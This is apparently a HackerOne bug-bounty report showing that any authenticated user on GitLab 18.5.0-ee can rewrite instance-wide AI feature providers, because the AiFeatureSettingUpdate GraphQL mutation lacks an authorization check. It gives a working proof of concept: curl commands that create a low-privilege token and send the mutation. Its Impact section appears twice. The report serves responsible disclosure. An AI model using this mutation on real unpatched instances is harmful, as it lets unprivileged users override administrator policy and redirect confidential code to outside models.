Authenticated user can rewrite instance-wide AI feature providers via AiFeatureSettingUpdate (GitLab 18.5.0-ee)
HackerOne report #3400940 by pwnie on 2025-10-27, assigned to GitLab Team:
Report
Summary
- Any authenticated user can call the
AiFeatureSettingUpdateGraphQL mutation to rewrite instance-wide AI feature providers, because the mutation inee/app/graphql/mutations/ai/feature_settings/update.rb:16never callsauthorize, so it only falls back toexecute_graphql_mutation, whichGlobalPolicygrants to every logged-in account (app/policies/global_policy.rb:42). - On GitLab 18.5.0-ee I reproduced the issue end-to-end: a freshly created non-admin user with an
api-scope PAT was able to flip theduo_chatfeature fromunassignedto bothdisabledandvendored, demonstrating full control over organisation-wide AI settings that should be restricted to administrators.
Steps to reproduce
-
Prepare the instance
a. Deploy GitLab EE 18.5.0 and sign in asrootusing the initial password (docker exec gitlab cat /etc/gitlab/initial_root_password).
b. From the web UI (Profile ▸ Access Tokens) create a root PAT with theapiscope and note it as<ROOT_PAT>. -
Create a low-privilege account and PAT
a. Use the root PAT to create a standard user:
curl --request POST --header "PRIVATE-TOKEN: <ROOT_PAT>" --data "email=attacker@example.com&username=attacker&name=Attacker User&password=Password123!&skip_confirmation=true" https://<gitlab-host>/api/v4/users
b. Issue that user anapiPAT:
curl --request POST --header "PRIVATE-TOKEN: <ROOT_PAT>" --data "name=attacker-api-token" --data "scopes[]=api" https://<gitlab-host>/api/v4/users/<attacker_id>/personal_access_tokens
Record the returned token as<ATTACKER_PAT>. -
Capture the baseline AI feature settings as an administrator
curl --header "Authorization: Bearer <ROOT_PAT>" --header "Content-Type: application/json" --data '{"query":"query { aiFeatureSettings { nodes { feature provider } } }"}' https://<gitlab-host>/api/graphql
The response shows every feature, includingduo_chat, atprovider":"unassigned"(see/root/baseline_ai_feature_settings.jsonfrom the run). -
Exploit the vulnerability with the low-privilege token
Send the GraphQL mutation using only<ATTACKER_PAT>:curl --header "Authorization: Bearer <ATTACKER_PAT>" \ --header "Content-Type: application/json" \ --data '{ "query": "mutation ($features: [AiFeatures!]!, $provider: AiFeatureProviders!) { aiFeatureSettingUpdate(input: {features: $features, provider: $provider}) { errors aiFeatureSettings { feature provider } } }", "variables": { "features": ["DUO_CHAT"], "provider": "DISABLED" } }' \ https://<gitlab-host>/api/graphqlResponse:
{"data":{"aiFeatureSettingUpdate":{"errors":[],"aiFeatureSettings":[{"feature":"duo_chat","provider":"disabled"}]}}}(/root/attacker_disable_response.json). -
Verify the global state changed
Re-run the admin query from step 3 and observeduo_chatnow reportsprovider":"disabled"for every user (/root/post_disable_ai_feature_settings.json).
Optional: repeat step 4 with"provider":"VENDORED"to prove an attacker can also force GitLab’s vendored AI backend (/root/attacker_vendored_response.json,/root/post_vendored_ai_feature_settings.json). -
(Cleanup) Restore the original configuration with an admin mutation using
"provider":"UNASSIGNED"if desired.
Impact
- A regular project member can reconfigure instance-wide GitLab Duo behaviour: disabling features, forcing vendored AI, or (with a valid model id) pointing traffic to a malicious self-hosted model. That undermines administrative policy, risks leaking confidential code to third parties, and lets unprivileged users change AI-assisted workflows for every project.
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N
S changes because a low-privilege account impacts global configuration.
C is Low: forcing vendored/self-hosted models can redirect sensitive prompts to external services.
I is High: the attacker can arbitrarily rewrite protected AI control-plane settings.
Impact
- A regular project member can reconfigure instance-wide GitLab Duo behaviour: disabling features, forcing vendored AI, or (with a valid model id) pointing traffic to a malicious self-hosted model. That undermines administrative policy, risks leaking confidential code to third parties, and lets unprivileged users change AI-assisted workflows for every project.
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N
S changes because a low-privilege account impacts global configuration.
C is Low: forcing vendored/self-hosted models can redirect sensitive prompts to external services.
I is High: the attacker can arbitrarily rewrite protected AI control-plane settings.
How To Reproduce
Please add reproducibility information to this section: